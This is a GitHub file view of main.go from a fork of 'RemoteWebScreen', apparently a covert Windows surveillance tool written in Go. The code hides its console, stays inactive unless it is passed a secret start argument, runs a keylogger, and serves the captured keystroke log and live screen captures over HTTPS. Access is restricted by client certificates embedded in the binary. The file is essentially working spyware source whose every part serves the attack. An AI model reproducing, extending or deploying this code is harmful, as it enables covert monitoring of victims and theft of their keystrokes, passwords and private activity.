forked from p1d3er/RemoteWebScreen
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
119 lines (114 loc) · 3.29 KB
/
main.go
File metadata and controls
119 lines (114 loc) · 3.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package main
import (
"RemoteWebScreen/keyboard"
"RemoteWebScreen/server"
"RemoteWebScreen/win32"
"crypto/tls"
"crypto/x509"
"embed"
"fmt"
"html/template"
"io/ioutil"
"net"
"net/http"
"os"
"path/filepath"
"time"
)
//go:embed index.html static/*
//go:embed certs/server.key certs/server.pem certs/ca.pem
var templates embed.FS
type PageData struct {
LogContent string
}
func init() {
win32.HideConsole()
}
func main() {
listenAddress := ":443"
if len(os.Args) == 1 {
os.Exit(0)
} else if len(os.Args) == 2 && os.Args[1] == "start" {
} else if len(os.Args) == 3 && os.Args[1] == "start" {
listenAddress = fmt.Sprintf(":%s", os.Args[2])
} else {
os.Exit(0)
}
certData, _ := templates.ReadFile("certs/server.pem")
keyData, _ := templates.ReadFile("certs/server.key")
caCert, err := templates.ReadFile("certs/ca.pem")
certPool := x509.NewCertPool()
certPool.AppendCertsFromPEM(caCert)
cert, err := tls.X509KeyPair(certData, keyData)
if err != nil {
//log.Fatalf("Failed to load key pair: %v", err)
}
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
ClientCAs: certPool,
ClientAuth: tls.RequireAndVerifyClientCert,
}
SimulateDesktopConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
}
SimulateDesktopListener, err := tls.Listen("tcp", ":0", SimulateDesktopConfig)
if err != nil {
//log.Printf("Failed to listen on a random port: %v", err)
}
httpsListener, err := tls.Listen("tcp", listenAddress, tlsConfig)
if err != nil {
//log.Fatalf("Failed to create TLS listener: %v", err)
}
SimulateDesktopwsPort := SimulateDesktopListener.Addr().(*net.TCPAddr).Port
go keyboard.Keylog()
http.HandleFunc("/"+listenAddress, func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
contentBytes, err := templates.ReadFile("index.html")
if err != nil {
//log.Printf("contentBytes, err := templates.ReadFile(index.html): %v", err)
}
tmpl, err := template.New("index").Parse(string(contentBytes))
if err != nil {
//log.Printf("tmpl, err := template.New(index).Parse(string(contentBytes)): %v", err)
}
tmpl.Execute(w, map[string]interface{}{
"WebSocketPort": SimulateDesktopwsPort,
})
})
fs := http.FS(templates)
http.Handle("/static/", http.StripPrefix("/", http.FileServer(fs)))
//http.Handle("/", http.FileServer(http.Dir(keyboard.Screen_logPath)))
http.HandleFunc("/"+listenAddress+"log", func(w http.ResponseWriter, r *http.Request) {
filePath := filepath.Join(keyboard.Screen_logPath, keyboard.Logfilename)
content, err := ioutil.ReadFile(filePath)
if err != nil {
}
data := PageData{
LogContent: string(content),
}
tmpl, err := template.New("log").Parse(win32.HtmlTemplate)
err = tmpl.Execute(w, data)
if err != nil {
//http.Error(w, "Error executing HTML template", http.StatusInternalServerError)
}
})
go func() {
if err := http.Serve(httpsListener, nil); err != nil {
//log.Fatalf("Failed to start HTTPS server: %v", err)
}
}()
go func() {
http.HandleFunc("/SimulateDesktop", server.ScreenshotHandler)
}()
if err := http.Serve(SimulateDesktopListener, nil); err != nil {
//log.Printf("Failed to start WebSocket server: %v", err)
}
go func() {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
<-ticker.C
server.CleanupConnections()
}
}()
}